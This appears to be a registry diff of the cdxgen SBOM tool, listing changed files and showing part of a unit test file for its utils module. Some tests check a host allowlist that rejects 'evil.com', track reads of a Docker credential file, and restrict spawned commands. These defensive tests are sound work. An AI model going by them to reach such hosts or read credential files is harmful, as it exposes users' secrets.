@cyclonedx/cdxgen 12.3.2 → 12.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (182) hide show
  1. package/README.md +70 -22
  2. package/bin/audit.js +21 -7
  3. package/bin/cdxgen.js +238 -116
  4. package/bin/convert.js +28 -13
  5. package/bin/hbom.js +490 -0
  6. package/bin/repl.js +580 -29
  7. package/bin/validate.js +34 -4
  8. package/bin/verify.js +40 -5
  9. package/data/README.md +298 -25
  10. package/data/component-tags.json +6 -0
  11. package/data/crypto-oid.json +16 -0
  12. package/data/predictive-audit-allowlist.json +11 -0
  13. package/data/queries-darwin.json +12 -1
  14. package/data/queries-win.json +7 -1
  15. package/data/queries.json +39 -2
  16. package/data/rules/ai-agent-governance.yaml +16 -0
  17. package/data/rules/asar-archives.yaml +150 -0
  18. package/data/rules/chrome-extensions.yaml +8 -0
  19. package/data/rules/ci-permissions.yaml +171 -15
  20. package/data/rules/container-risk.yaml +14 -7
  21. package/data/rules/dependency-sources.yaml +76 -5
  22. package/data/rules/hbom-compliance.yaml +325 -0
  23. package/data/rules/hbom-performance.yaml +307 -0
  24. package/data/rules/hbom-security.yaml +248 -0
  25. package/data/rules/host-topology.yaml +165 -0
  26. package/data/rules/mcp-servers.yaml +18 -3
  27. package/data/rules/obom-runtime.yaml +907 -22
  28. package/data/rules/package-integrity.yaml +36 -0
  29. package/data/rules/rootfs-hardening.yaml +179 -0
  30. package/data/rules/vscode-extensions.yaml +9 -0
  31. package/lib/audit/index.js +209 -8
  32. package/lib/audit/index.poku.js +332 -0
  33. package/lib/audit/reporters.js +222 -0
  34. package/lib/audit/targets.js +146 -1
  35. package/lib/audit/targets.poku.js +186 -0
  36. package/lib/cli/asar.poku.js +328 -0
  37. package/lib/cli/index.js +647 -127
  38. package/lib/cli/index.poku.js +1905 -187
  39. package/lib/evinser/evinser.js +14 -9
  40. package/lib/helpers/agentFormulationParser.js +6 -2
  41. package/lib/helpers/agentFormulationParser.poku.js +42 -0
  42. package/lib/helpers/analyzer.js +1444 -38
  43. package/lib/helpers/analyzer.poku.js +409 -0
  44. package/lib/helpers/analyzerScope.js +712 -0
  45. package/lib/helpers/asarutils.js +1556 -0
  46. package/lib/helpers/asarutils.poku.js +443 -0
  47. package/lib/helpers/auditCategories.js +12 -0
  48. package/lib/helpers/auditCategories.poku.js +32 -0
  49. package/lib/helpers/cbomutils.js +271 -1
  50. package/lib/helpers/cbomutils.poku.js +248 -5
  51. package/lib/helpers/chromextutils.js +25 -3
  52. package/lib/helpers/chromextutils.poku.js +68 -0
  53. package/lib/helpers/ciParsers/githubActions.js +79 -0
  54. package/lib/helpers/ciParsers/githubActions.poku.js +103 -0
  55. package/lib/helpers/communityAiConfigParser.js +15 -5
  56. package/lib/helpers/communityAiConfigParser.poku.js +71 -0
  57. package/lib/helpers/depsUtils.js +5 -0
  58. package/lib/helpers/depsUtils.poku.js +55 -0
  59. package/lib/helpers/display.js +336 -23
  60. package/lib/helpers/display.poku.js +179 -43
  61. package/lib/helpers/evidenceUtils.js +58 -0
  62. package/lib/helpers/evidenceUtils.poku.js +54 -0
  63. package/lib/helpers/exportUtils.js +9 -0
  64. package/lib/helpers/gtfobins.js +142 -8
  65. package/lib/helpers/gtfobins.poku.js +24 -1
  66. package/lib/helpers/hbom.js +710 -0
  67. package/lib/helpers/hbom.poku.js +496 -0
  68. package/lib/helpers/hbomAnalysis.js +268 -0
  69. package/lib/helpers/hbomAnalysis.poku.js +249 -0
  70. package/lib/helpers/hbomLoader.js +35 -0
  71. package/lib/helpers/hostTopology.js +803 -0
  72. package/lib/helpers/hostTopology.poku.js +363 -0
  73. package/lib/helpers/inventoryStats.js +69 -0
  74. package/lib/helpers/inventoryStats.poku.js +86 -0
  75. package/lib/helpers/lolbas.js +19 -1
  76. package/lib/helpers/lolbas.poku.js +23 -0
  77. package/lib/helpers/mcpConfigParser.js +21 -5
  78. package/lib/helpers/mcpConfigParser.poku.js +39 -2
  79. package/lib/helpers/osqueryTransform.js +47 -0
  80. package/lib/helpers/osqueryTransform.poku.js +47 -0
  81. package/lib/helpers/plugins.js +349 -0
  82. package/lib/helpers/plugins.poku.js +57 -0
  83. package/lib/helpers/propertySanitizer.js +121 -0
  84. package/lib/helpers/protobom.js +156 -45
  85. package/lib/helpers/protobom.poku.js +140 -5
  86. package/lib/helpers/remote/dependency-track.js +36 -3
  87. package/lib/helpers/remote/dependency-track.poku.js +44 -0
  88. package/lib/helpers/source.js +24 -0
  89. package/lib/helpers/source.poku.js +32 -0
  90. package/lib/helpers/utils.js +2454 -198
  91. package/lib/helpers/utils.poku.js +1798 -74
  92. package/lib/managers/binary.e2e.poku.js +367 -0
  93. package/lib/managers/binary.js +2306 -350
  94. package/lib/managers/binary.poku.js +1700 -1
  95. package/lib/managers/docker.js +441 -95
  96. package/lib/managers/docker.poku.js +1479 -14
  97. package/lib/server/server.js +2 -24
  98. package/lib/server/server.poku.js +36 -1
  99. package/lib/stages/postgen/annotator.js +38 -0
  100. package/lib/stages/postgen/annotator.poku.js +107 -1
  101. package/lib/stages/postgen/auditBom.js +121 -18
  102. package/lib/stages/postgen/auditBom.poku.js +2967 -990
  103. package/lib/stages/postgen/hostTopologyAudit.poku.js +186 -0
  104. package/lib/stages/postgen/postgen.js +192 -1
  105. package/lib/stages/postgen/postgen.poku.js +321 -0
  106. package/lib/stages/postgen/ruleEngine.js +116 -0
  107. package/lib/stages/pregen/envAudit.js +14 -3
  108. package/package.json +24 -21
  109. package/types/bin/hbom.d.ts +3 -0
  110. package/types/bin/hbom.d.ts.map +1 -0
  111. package/types/bin/repl.d.ts.map +1 -1
  112. package/types/lib/audit/index.d.ts +44 -0
  113. package/types/lib/audit/index.d.ts.map +1 -1
  114. package/types/lib/audit/reporters.d.ts +16 -0
  115. package/types/lib/audit/reporters.d.ts.map +1 -1
  116. package/types/lib/audit/targets.d.ts.map +1 -1
  117. package/types/lib/cli/index.d.ts +16 -0
  118. package/types/lib/cli/index.d.ts.map +1 -1
  119. package/types/lib/evinser/evinser.d.ts +4 -0
  120. package/types/lib/evinser/evinser.d.ts.map +1 -1
  121. package/types/lib/helpers/agentFormulationParser.d.ts.map +1 -1
  122. package/types/lib/helpers/analyzer.d.ts +33 -0
  123. package/types/lib/helpers/analyzer.d.ts.map +1 -1
  124. package/types/lib/helpers/analyzerScope.d.ts +11 -0
  125. package/types/lib/helpers/analyzerScope.d.ts.map +1 -0
  126. package/types/lib/helpers/asarutils.d.ts +34 -0
  127. package/types/lib/helpers/asarutils.d.ts.map +1 -0
  128. package/types/lib/helpers/auditCategories.d.ts +5 -0
  129. package/types/lib/helpers/auditCategories.d.ts.map +1 -1
  130. package/types/lib/helpers/cbomutils.d.ts +3 -2
  131. package/types/lib/helpers/cbomutils.d.ts.map +1 -1
  132. package/types/lib/helpers/chromextutils.d.ts.map +1 -1
  133. package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
  134. package/types/lib/helpers/communityAiConfigParser.d.ts.map +1 -1
  135. package/types/lib/helpers/depsUtils.d.ts.map +1 -1
  136. package/types/lib/helpers/display.d.ts +1 -0
  137. package/types/lib/helpers/display.d.ts.map +1 -1
  138. package/types/lib/helpers/evidenceUtils.d.ts +8 -0
  139. package/types/lib/helpers/evidenceUtils.d.ts.map +1 -0
  140. package/types/lib/helpers/exportUtils.d.ts.map +1 -1
  141. package/types/lib/helpers/gtfobins.d.ts +8 -0
  142. package/types/lib/helpers/gtfobins.d.ts.map +1 -1
  143. package/types/lib/helpers/hbom.d.ts +49 -0
  144. package/types/lib/helpers/hbom.d.ts.map +1 -0
  145. package/types/lib/helpers/hbomAnalysis.d.ts +62 -0
  146. package/types/lib/helpers/hbomAnalysis.d.ts.map +1 -0
  147. package/types/lib/helpers/hbomLoader.d.ts +7 -0
  148. package/types/lib/helpers/hbomLoader.d.ts.map +1 -0
  149. package/types/lib/helpers/hostTopology.d.ts +12 -0
  150. package/types/lib/helpers/hostTopology.d.ts.map +1 -0
  151. package/types/lib/helpers/inventoryStats.d.ts +11 -0
  152. package/types/lib/helpers/inventoryStats.d.ts.map +1 -0
  153. package/types/lib/helpers/lolbas.d.ts.map +1 -1
  154. package/types/lib/helpers/mcpConfigParser.d.ts +1 -1
  155. package/types/lib/helpers/mcpConfigParser.d.ts.map +1 -1
  156. package/types/lib/helpers/osqueryTransform.d.ts +3 -0
  157. package/types/lib/helpers/osqueryTransform.d.ts.map +1 -1
  158. package/types/lib/helpers/plugins.d.ts +58 -0
  159. package/types/lib/helpers/plugins.d.ts.map +1 -0
  160. package/types/lib/helpers/propertySanitizer.d.ts +3 -0
  161. package/types/lib/helpers/propertySanitizer.d.ts.map +1 -0
  162. package/types/lib/helpers/protobom.d.ts +3 -4
  163. package/types/lib/helpers/protobom.d.ts.map +1 -1
  164. package/types/lib/helpers/remote/dependency-track.d.ts +10 -3
  165. package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -1
  166. package/types/lib/helpers/source.d.ts.map +1 -1
  167. package/types/lib/helpers/utils.d.ts +74 -8
  168. package/types/lib/helpers/utils.d.ts.map +1 -1
  169. package/types/lib/managers/binary.d.ts +5 -0
  170. package/types/lib/managers/binary.d.ts.map +1 -1
  171. package/types/lib/managers/docker.d.ts +3 -0
  172. package/types/lib/managers/docker.d.ts.map +1 -1
  173. package/types/lib/server/server.d.ts +2 -0
  174. package/types/lib/server/server.d.ts.map +1 -1
  175. package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
  176. package/types/lib/stages/postgen/auditBom.d.ts +26 -1
  177. package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
  178. package/types/lib/stages/postgen/postgen.d.ts +2 -1
  179. package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
  180. package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
  181. package/types/lib/stages/pregen/envAudit.d.ts.map +1 -1
  182. package/data/spdx-model-v3.0.1.jsonld +0 -15999
@@ -1,14 +1,16 @@
1
1
  import { Buffer } from "node:buffer";
2
2
  import {
3
+ chmodSync,
3
4
  existsSync,
4
5
  mkdirSync,
5
6
  mkdtempSync,
6
7
  readFileSync,
7
8
  rmSync,
9
+ symlinkSync,
8
10
  unlinkSync,
9
11
  writeFileSync,
10
12
  } from "node:fs";
11
- import { tmpdir } from "node:os";
13
+ import { platform, tmpdir } from "node:os";
12
14
  import path from "node:path";
13
15
  import process from "node:process";
14
16
 
@@ -21,14 +23,23 @@ import { parse as loadYaml } from "yaml";
21
23
 
22
24
  import { validateRefs } from "../validator/bomValidator.js";
23
25
  import {
26
+ addEvidenceForDotnet,
27
+ addEvidenceForImports,
28
+ attachIdentityTools,
24
29
  buildObjectForCocoaPod,
25
30
  buildObjectForGradleModule,
31
+ cdxgenAgent,
32
+ collectExecutables,
33
+ collectSharedLibs,
26
34
  convertOSQueryResults,
27
35
  encodeForPurl,
36
+ extractToolRefs,
28
37
  findLicenseId,
29
38
  findPnpmPackagePath,
39
+ getAllFiles,
30
40
  getCratesMetadata,
31
41
  getDartMetadata,
42
+ getDefaultBomAuditCategories,
32
43
  getLicenses,
33
44
  getMvnMetadata,
34
45
  getPropertyGroupTextNodes,
@@ -37,6 +48,7 @@ import {
37
48
  guessPypiMatchingVersion,
38
49
  hasAnyProjectType,
39
50
  inferJarGroupFromManifest,
51
+ isAllowedHttpHost,
40
52
  isDryRunError,
41
53
  isPackageManagerAllowed,
42
54
  isPartialTree,
@@ -59,6 +71,7 @@ import {
59
71
  parseCmakeDotFile,
60
72
  parseCmakeLikeFile,
61
73
  parseCocoaDependency,
74
+ parseColliderLockData,
62
75
  parseComposerJson,
63
76
  parseComposerLock,
64
77
  parseConanData,
@@ -127,14 +140,19 @@ import {
127
140
  parseYarnLock,
128
141
  pnpmMetadata,
129
142
  purlFromUrlString,
143
+ readEnvironmentVariable,
130
144
  readZipEntry,
145
+ recordSensitiveFileRead,
146
+ recordSymlinkResolution,
131
147
  resetRecordedActivities,
148
+ safeExistsSync,
132
149
  safeMkdtempSync,
133
150
  safeRmSync,
134
151
  safeSpawnSync,
135
152
  safeUnlinkSync,
136
153
  safeWriteSync,
137
154
  setDryRunMode,
155
+ shouldRunPredictiveBomAudit,
138
156
  splitOutputByGradleProjects,
139
157
  toGemModuleNames,
140
158
  trimJarGroupSuffix,
@@ -143,6 +161,23 @@ import {
143
161
 
144
162
  const jarMetadataFixturesDir = path.resolve("test", "data", "jar-metadata");
145
163
 
164
+ function createMockedProcess(envOverrides = {}) {
165
+ const env = {
166
+ ...process.env,
167
+ };
168
+ for (const [key, value] of Object.entries(envOverrides)) {
169
+ if (value === undefined) {
170
+ delete env[key];
171
+ } else {
172
+ env[key] = value;
173
+ }
174
+ }
175
+ const mockedProcess = Object.create(process);
176
+ mockedProcess.argv = [...process.argv];
177
+ mockedProcess.env = env;
178
+ return mockedProcess;
179
+ }
180
+
146
181
  function readJarMetadataFixture(...segments) {
147
182
  return readFileSync(path.join(jarMetadataFixturesDir, ...segments), {
148
183
  encoding: "utf-8",
@@ -275,15 +310,320 @@ it("safeSpawnSync() returns a dry-run sentinel result when dry run mode is enabl
275
310
  const result = safeSpawnSync("node", ["--version"], {});
276
311
  assert.strictEqual(result.status, 1);
277
312
  assert.ok(isDryRunError(result.error));
278
- const activities = getRecordedActivities();
279
- assert.strictEqual(activities[0].kind, "execute");
280
- assert.strictEqual(activities[0].status, "blocked");
313
+ const executeActivity = getRecordedActivities().find(
314
+ (activity) => activity.kind === "execute",
315
+ );
316
+ assert.ok(executeActivity);
317
+ assert.strictEqual(executeActivity.status, "blocked");
318
+ } finally {
319
+ setDryRunMode(false);
320
+ resetRecordedActivities();
321
+ }
322
+ });
323
+
324
+ it("safeSpawnSync() does not classify non-probe -v commands as version checks", () => {
325
+ setDryRunMode(true);
326
+ resetRecordedActivities();
327
+ try {
328
+ safeSpawnSync("swift", ["package", "-v", "resolve"], {});
329
+ const executeActivity = getRecordedActivities().find(
330
+ (activity) => activity.kind === "execute",
331
+ );
332
+ assert.ok(executeActivity);
333
+ assert.strictEqual(executeActivity.probeType, undefined);
334
+ assert.ok(!/version check/i.test(executeActivity.reason));
335
+ } finally {
336
+ setDryRunMode(false);
337
+ resetRecordedActivities();
338
+ }
339
+ });
340
+
341
+ it("safeSpawnSync() reads CDXGEN_ALLOWED_COMMANDS once per invocation", () => {
342
+ const originalAllowedCommands = process.env.CDXGEN_ALLOWED_COMMANDS;
343
+ process.env.CDXGEN_ALLOWED_COMMANDS = "echo-cdxgen-test";
344
+ setDryRunMode(true);
345
+ resetRecordedActivities();
346
+ try {
347
+ safeSpawnSync("echo-cdxgen-test", ["value"], {});
348
+ const envActivities = getRecordedActivities().filter(
349
+ (activity) => activity.target === "process.env:CDXGEN_ALLOWED_COMMANDS",
350
+ );
351
+ assert.strictEqual(envActivities.length, 1);
352
+ assert.strictEqual(envActivities[0].count, 1);
353
+ } finally {
354
+ if (originalAllowedCommands === undefined) {
355
+ delete process.env.CDXGEN_ALLOWED_COMMANDS;
356
+ } else {
357
+ process.env.CDXGEN_ALLOWED_COMMANDS = originalAllowedCommands;
358
+ }
359
+ setDryRunMode(false);
360
+ resetRecordedActivities();
361
+ }
362
+ });
363
+
364
+ it("safeSpawnSync() records stdout and stderr byte sizes in debug mode", async () => {
365
+ const mockedProcess = createMockedProcess({
366
+ CDXGEN_ALLOWED_COMMANDS: "echo-cdxgen-test",
367
+ CDXGEN_DEBUG_MODE: "debug",
368
+ CDXGEN_SECURE_MODE: undefined,
369
+ NODE_OPTIONS: undefined,
370
+ });
371
+ const utilsModule = await esmock("./utils.js", {
372
+ "node:child_process": {
373
+ spawnSync: sinon.stub().returns({
374
+ status: 0,
375
+ stdout: "hello",
376
+ stderr: "warn",
377
+ }),
378
+ },
379
+ "node:process": {
380
+ default: mockedProcess,
381
+ },
382
+ });
383
+ utilsModule.resetRecordedActivities();
384
+ utilsModule.safeSpawnSync("echo-cdxgen-test", ["value"], {});
385
+ const executeActivity = utilsModule
386
+ .getRecordedActivities()
387
+ .find(
388
+ (activity) =>
389
+ activity.kind === "execute" &&
390
+ activity.target === "echo-cdxgen-test value",
391
+ );
392
+ assert.ok(executeActivity);
393
+ assert.strictEqual(executeActivity.stdoutBytes, 5);
394
+ assert.strictEqual(executeActivity.stderrBytes, 4);
395
+ utilsModule.resetRecordedActivities();
396
+ });
397
+
398
+ it("safeExtractArchive() records source byte size in debug mode", async () => {
399
+ const mockedProcess = createMockedProcess({
400
+ CDXGEN_ALLOWED_COMMANDS: undefined,
401
+ CDXGEN_DEBUG_MODE: "debug",
402
+ CDXGEN_SECURE_MODE: undefined,
403
+ NODE_OPTIONS: undefined,
404
+ });
405
+ const utilsModule = await esmock("./utils.js", {
406
+ "node:process": {
407
+ default: mockedProcess,
408
+ },
409
+ });
410
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
411
+ const sourcePath = path.join(tempDir, "archive.zip");
412
+ const targetPath = path.join(tempDir, "extracted");
413
+ mkdirSync(targetPath, { recursive: true });
414
+ writeFileSync(sourcePath, "abc");
415
+ utilsModule.resetRecordedActivities();
416
+ await utilsModule.safeExtractArchive(
417
+ sourcePath,
418
+ targetPath,
419
+ async () => {
420
+ writeFileSync(path.join(targetPath, "a.txt"), "hello");
421
+ mkdirSync(path.join(targetPath, "nested"), { recursive: true });
422
+ writeFileSync(path.join(targetPath, "nested", "b.txt"), "xy");
423
+ },
424
+ "unzip",
425
+ );
426
+ const archiveActivity = utilsModule
427
+ .getRecordedActivities()
428
+ .find(
429
+ (activity) =>
430
+ activity.kind === "unzip" &&
431
+ activity.target === `${sourcePath} -> ${targetPath}`,
432
+ );
433
+ assert.ok(archiveActivity);
434
+ assert.strictEqual(archiveActivity.status, "completed");
435
+ assert.strictEqual(archiveActivity.sourceBytes, 3);
436
+ rmSync(tempDir, { recursive: true, force: true });
437
+ });
438
+
439
+ it("safeExtractArchive() records failed extraction activity in debug mode", async () => {
440
+ const mockedProcess = createMockedProcess({
441
+ CDXGEN_ALLOWED_COMMANDS: undefined,
442
+ CDXGEN_DEBUG_MODE: "debug",
443
+ CDXGEN_SECURE_MODE: undefined,
444
+ NODE_OPTIONS: undefined,
445
+ });
446
+ const utilsModule = await esmock("./utils.js", {
447
+ "node:process": {
448
+ default: mockedProcess,
449
+ },
450
+ });
451
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
452
+ const sourcePath = path.join(tempDir, "archive.tar");
453
+ const targetPath = path.join(tempDir, "extracted");
454
+ mkdirSync(targetPath, { recursive: true });
455
+ writeFileSync(sourcePath, "abcd");
456
+ utilsModule.resetRecordedActivities();
457
+ const extractionError = new Error("permission denied");
458
+ extractionError.code = "EACCES";
459
+ await assert.rejects(
460
+ utilsModule.safeExtractArchive(
461
+ sourcePath,
462
+ targetPath,
463
+ async () => {
464
+ throw extractionError;
465
+ },
466
+ "untar",
467
+ ),
468
+ extractionError,
469
+ );
470
+ const archiveActivity = utilsModule
471
+ .getRecordedActivities()
472
+ .find(
473
+ (activity) =>
474
+ activity.kind === "untar" &&
475
+ activity.target === `${sourcePath} -> ${targetPath}`,
476
+ );
477
+ assert.ok(archiveActivity);
478
+ assert.strictEqual(archiveActivity.status, "failed");
479
+ assert.strictEqual(archiveActivity.errorCode, "EACCES");
480
+ assert.strictEqual(archiveActivity.sourceBytes, 4);
481
+ rmSync(tempDir, { recursive: true, force: true });
482
+ });
483
+
484
+ it("records dry-run environment variable reads via helper access", () => {
485
+ const originalEnvValue = process.env.CDXGEN_TEST_ENV_READ;
486
+ process.env.CDXGEN_TEST_ENV_READ = "trace-me";
487
+ setDryRunMode(true);
488
+ resetRecordedActivities();
489
+ try {
490
+ readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
491
+ readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
492
+ const activities = getRecordedActivities().filter(
493
+ (activity) => activity.target === "process.env:CDXGEN_TEST_ENV_READ",
494
+ );
495
+ assert.strictEqual(activities.length, 1);
496
+ assert.strictEqual(activities[0].kind, "env");
497
+ assert.match(activities[0].reason, /2 times/);
498
+ } finally {
499
+ if (originalEnvValue === undefined) {
500
+ delete process.env.CDXGEN_TEST_ENV_READ;
501
+ } else {
502
+ process.env.CDXGEN_TEST_ENV_READ = originalEnvValue;
503
+ }
504
+ setDryRunMode(false);
505
+ resetRecordedActivities();
506
+ }
507
+ });
508
+
509
+ it("isAllowedHttpHost() honors exact and wildcard host allowlists", () => {
510
+ const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
511
+ try {
512
+ process.env.CDXGEN_ALLOWED_HOSTS = "example.com,*.trusted.test";
513
+ assert.strictEqual(isAllowedHttpHost("example.com"), true);
514
+ assert.strictEqual(isAllowedHttpHost("api.trusted.test"), true);
515
+ assert.strictEqual(isAllowedHttpHost("trusted.test"), false);
516
+ assert.strictEqual(isAllowedHttpHost("evil.com"), false);
517
+ } finally {
518
+ if (originalAllowedHosts === undefined) {
519
+ delete process.env.CDXGEN_ALLOWED_HOSTS;
520
+ } else {
521
+ process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
522
+ }
523
+ }
524
+ });
525
+
526
+ it("deduplicates sensitive file read activity entries in dry-run mode", () => {
527
+ setDryRunMode(true);
528
+ resetRecordedActivities();
529
+ try {
530
+ recordSensitiveFileRead("/tmp/docker/config.json", {
531
+ label: "Docker credential file",
532
+ });
533
+ recordSensitiveFileRead("/tmp/docker/config.json", {
534
+ label: "Docker credential file",
535
+ });
536
+ const activities = getRecordedActivities().filter(
537
+ (activity) => activity.target === "/tmp/docker/config.json",
538
+ );
539
+ assert.strictEqual(activities.length, 1);
540
+ assert.strictEqual(activities[0].kind, "read");
541
+ assert.match(activities[0].reason, /2 times/);
542
+ } finally {
543
+ setDryRunMode(false);
544
+ resetRecordedActivities();
545
+ }
546
+ });
547
+
548
+ it("records classified manifest and config inspections in dry-run mode", () => {
549
+ const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-inspect-"));
550
+ const packageJsonFile = path.join(tmpRoot, "package.json");
551
+ const settingsXmlFile = path.join(tmpRoot, "settings.xml");
552
+ writeFileSync(packageJsonFile, "{}");
553
+ writeFileSync(settingsXmlFile, "<settings />");
554
+ setDryRunMode(true);
555
+ resetRecordedActivities();
556
+ try {
557
+ assert.ok(safeExistsSync(packageJsonFile));
558
+ assert.ok(safeExistsSync(settingsXmlFile));
559
+ const activities = getRecordedActivities().filter((activity) =>
560
+ [packageJsonFile, settingsXmlFile].includes(activity.target),
561
+ );
562
+ assert.strictEqual(activities.length, 2);
563
+ assert.deepStrictEqual(
564
+ activities.map((activity) => activity.kind),
565
+ ["inspect", "inspect"],
566
+ );
567
+ assert.deepStrictEqual(
568
+ activities.map((activity) => activity.classification),
569
+ ["manifest", "config"],
570
+ );
571
+ } finally {
572
+ setDryRunMode(false);
573
+ resetRecordedActivities();
574
+ rmSync(tmpRoot, { force: true, recursive: true });
575
+ }
576
+ });
577
+
578
+ it("records recursive file discovery activity in dry-run mode", () => {
579
+ const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
580
+ const packageJsonFile = path.join(tmpRoot, "package.json");
581
+ writeFileSync(packageJsonFile, "{}");
582
+ setDryRunMode(true);
583
+ resetRecordedActivities();
584
+ try {
585
+ const files = getAllFiles(tmpRoot, "**/package.json");
586
+ assert.deepStrictEqual(files, [packageJsonFile]);
587
+ const activities = getRecordedActivities().filter((activity) =>
588
+ activity.target.includes("**/package.json"),
589
+ );
590
+ assert.strictEqual(activities.length, 1);
591
+ assert.strictEqual(activities[0].kind, "discover");
592
+ assert.strictEqual(activities[0].discoveryType, "manifest-discovery");
281
593
  } finally {
282
594
  setDryRunMode(false);
283
595
  resetRecordedActivities();
596
+ rmSync(tmpRoot, { force: true, recursive: true });
284
597
  }
285
598
  });
286
599
 
600
+ it("records updated discovery activity when a repeated glob match count changes", () => {
601
+ const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
602
+ const packageJsonFile = path.join(tmpRoot, "package.json");
603
+ const nestedDir = path.join(tmpRoot, "nested");
604
+ const nestedPackageJsonFile = path.join(nestedDir, "package.json");
605
+ writeFileSync(packageJsonFile, "{}");
606
+ setDryRunMode(true);
607
+ resetRecordedActivities();
608
+ try {
609
+ getAllFiles(tmpRoot, "**/package.json");
610
+ mkdirSync(nestedDir, { recursive: true });
611
+ writeFileSync(nestedPackageJsonFile, "{}");
612
+ getAllFiles(tmpRoot, "**/package.json");
613
+ const activities = getRecordedActivities().filter((activity) =>
614
+ activity.target.includes("**/package.json"),
615
+ );
616
+ assert.strictEqual(activities.length, 2);
617
+ assert.deepStrictEqual(
618
+ activities.map((activity) => activity.matchedCount),
619
+ [1, 2],
620
+ );
621
+ } finally {
622
+ setDryRunMode(false);
623
+ resetRecordedActivities();
624
+ rmSync(tmpRoot, { force: true, recursive: true });
625
+ }
626
+ });
287
627
  it("dry-run filesystem wrappers do not mutate the filesystem", () => {
288
628
  const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-"));
289
629
  const fileToKeep = path.join(tmpRoot, "keep.txt");
@@ -439,6 +779,37 @@ it("cdxgenAgent records completed and failed network activity outcomes", async (
439
779
  }
440
780
  });
441
781
 
782
+ it("cdxgenAgent reads CDXGEN_ALLOWED_HOSTS once per request", () => {
783
+ const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
784
+ try {
785
+ process.env.CDXGEN_ALLOWED_HOSTS = "example.com";
786
+ const beforeRequestHook =
787
+ cdxgenAgent.defaults.options.hooks.beforeRequest[0];
788
+
789
+ setDryRunMode(true);
790
+ resetRecordedActivities();
791
+ assert.throws(() =>
792
+ beforeRequestHook({
793
+ context: {},
794
+ url: new URL("https://example.com/resource"),
795
+ }),
796
+ );
797
+ const envActivities = getRecordedActivities().filter(
798
+ (activity) => activity.target === "process.env:CDXGEN_ALLOWED_HOSTS",
799
+ );
800
+ assert.strictEqual(envActivities.length, 1);
801
+ assert.strictEqual(envActivities[0].count, 1);
802
+ } finally {
803
+ if (originalAllowedHosts === undefined) {
804
+ delete process.env.CDXGEN_ALLOWED_HOSTS;
805
+ } else {
806
+ process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
807
+ }
808
+ setDryRunMode(false);
809
+ resetRecordedActivities();
810
+ }
811
+ });
812
+
442
813
  it("safeSpawnSync() logs container python notices to stdout", () => {
443
814
  const originalConsoleLog = console.log;
444
815
  const originalConsoleWarn = console.warn;
@@ -1276,6 +1647,84 @@ it("get py metadata", async () => {
1276
1647
  ]);
1277
1648
  }, 240000);
1278
1649
 
1650
+ it("get py metadata adds distribution external references", async () => {
1651
+ const agentGetStub = sinon.stub().resolves({
1652
+ body: {
1653
+ info: {
1654
+ author: "",
1655
+ author_email: "",
1656
+ classifiers: [],
1657
+ license: "",
1658
+ license_expression: "",
1659
+ name: "requests",
1660
+ summary: "HTTP client",
1661
+ version: "2.31.0",
1662
+ },
1663
+ releases: {
1664
+ "2.31.0": [
1665
+ {
1666
+ digests: { sha256: "abc123" },
1667
+ filename: "requests-2.31.0-py3-none-any.whl",
1668
+ packagetype: "bdist_wheel",
1669
+ url: "https://files.pythonhosted.org/packages/example/requests-2.31.0-py3-none-any.whl",
1670
+ },
1671
+ {
1672
+ digests: { sha256: "def456" },
1673
+ filename: "requests-2.31.0.tar.gz",
1674
+ packagetype: "sdist",
1675
+ url: "https://files.pythonhosted.org/packages/example/requests-2.31.0.tar.gz",
1676
+ },
1677
+ ],
1678
+ },
1679
+ },
1680
+ });
1681
+ const { getPyMetadata: mockedGetPyMetadata } = await esmock("./utils.js", {
1682
+ got: {
1683
+ default: {
1684
+ extend: sinon.stub().returns({ get: agentGetStub }),
1685
+ },
1686
+ },
1687
+ });
1688
+ const data = await mockedGetPyMetadata(
1689
+ [
1690
+ {
1691
+ externalReferences: [
1692
+ {
1693
+ type: "website",
1694
+ url: "https://example.com/requests",
1695
+ },
1696
+ ],
1697
+ group: "",
1698
+ name: "requests",
1699
+ version: "2.31.0",
1700
+ },
1701
+ ],
1702
+ true,
1703
+ );
1704
+ assert.strictEqual(data.length, 1);
1705
+ assert.ok(
1706
+ data[0].externalReferences?.some(
1707
+ (reference) => reference.type === "website",
1708
+ ),
1709
+ );
1710
+ assert.ok(
1711
+ data[0].externalReferences?.some(
1712
+ (reference) =>
1713
+ reference.type === "distribution" &&
1714
+ reference.url.endsWith(".whl") &&
1715
+ reference.comment === "requests-2.31.0-py3-none-any.whl",
1716
+ ),
1717
+ );
1718
+ assert.ok(
1719
+ data[0].externalReferences?.some(
1720
+ (reference) =>
1721
+ reference.type === "distribution" &&
1722
+ reference.url.endsWith(".tar.gz") &&
1723
+ reference.comment === "requests-2.31.0.tar.gz",
1724
+ ),
1725
+ );
1726
+ });
1727
+
1279
1728
  it("parseGoModData", async () => {
1280
1729
  let retMap = await parseGoModData(null);
1281
1730
  assert.deepStrictEqual(retMap, {});
@@ -2305,6 +2754,49 @@ bindgen = { version = "0.70.0", default-features = false }
2305
2754
  }
2306
2755
  });
2307
2756
 
2757
+ it("parse cargo toml captures git dependency metadata", async () => {
2758
+ const tmpDir = mkdtempSync(path.join(tmpdir(), "cdxgen-cargo-git-"));
2759
+ const cargoTomlFile = path.join(tmpDir, "Cargo.toml");
2760
+ writeFileSync(
2761
+ cargoTomlFile,
2762
+ `[package]
2763
+ name = "demo"
2764
+ version = "1.0.0"
2765
+
2766
+ [dependencies]
2767
